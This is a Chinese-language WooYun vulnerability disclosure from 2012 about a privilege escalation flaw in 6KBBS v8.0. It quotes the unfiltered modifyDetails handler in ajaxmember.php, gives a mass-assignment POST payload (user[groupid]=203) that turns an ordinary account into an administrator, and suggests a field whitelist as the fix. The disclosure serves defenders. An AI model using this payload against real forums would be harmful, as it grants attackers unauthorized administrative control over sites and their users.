当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-04171

漏洞标题:6KBBS v8.0 普通用户提权漏洞

相关厂商:6KBBS

漏洞作者: insight-labs

提交时间:2012-02-03 13:39

修复时间:2012-02-03 13:39

公开时间:2012-02-03 13:39

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-02-03: 积极联系厂商并且等待厂商认领中,细节不对外公开
2012-02-03: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

普通用户提权漏洞,可以提升为管理员权限。

详细说明:

<漏洞分析>
ajaxmember.php
case "modifyDetails":
$user = $_POST['user'];
if(getPopedom(5) == 0)
{
$user['usertitle'] = '';
}

if($user["email"] == "")
{
exit("资料不完整。");
}
foreach(explode(",", $cache_settings['reservedkeyword']) as $rkey)
{
if(!empty($rkey) && stristr($user['usertitle'], $rkey))
{
exit("自定义头衔含有禁用关键字");
}
}
$db->row_update("users", $user, "id={$lg['userid']}");
succeedFlag();

break;


user 数组未做任何限制导致用户POST一个user[groupid]=203的字段,row_update就会更新users表的groupid字段,把普通用户的权限更改为管理员。

漏洞证明:

<漏洞利用>
1、 注册并登陆一个用户。
2、 向/ajaxmember.php?action=modifyDetails页面post数据
user%5Bgroupid%5D=203&user%5Bemail%5D=aaaa%40aaaa.com
3、重新登录用户,即为管理员权限。

修复方案:

在更新之前加上验证语句,只保留允许更新的字段。

版权声明:转载请注明来源 insight-labs@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:8 (WooYun评价)


漏洞评价:

评论

  1. 2012-02-05 02:15 | Blackeagle ( 实习白帽子 | Rank:62 漏洞数:10 | 向WooYun致敬)

    修复了么?怎么鄙人测试N边都是“No Such Action”呀?

  2. 2013-06-19 09:01 | 暴暴 ( 路人 | Rank:9 漏洞数:2 | 呃。。。)

    。。NM,这怎么可能利用成功。人家官方发了补丁包,你再来公布。http://www.6kbbs.net/view-487.html人家发补丁包在2010年就发布,官方怎么可能鸟你,乌云也不注意 。

  3. 2013-06-19 23:42 | insight-labs 认证白帽子 ( 普通白帽子 | Rank:623 漏洞数:75 | Security guys)

    @暴暴 下载了你所说的那个补丁文件,也是存在漏洞的。我们当时下载的最新版本的代码,同时发布的代码跟发布的补丁代码是一致的,漏洞依然是存在的。这位同学可以看一下,呵呵!

  4. 2013-06-19 23:44 | insight-labs 认证白帽子 ( 普通白帽子 | Rank:623 漏洞数:75 | Security guys)

    @暴暴 修正一下,这里公布出来的代码补丁中的代码是一致的。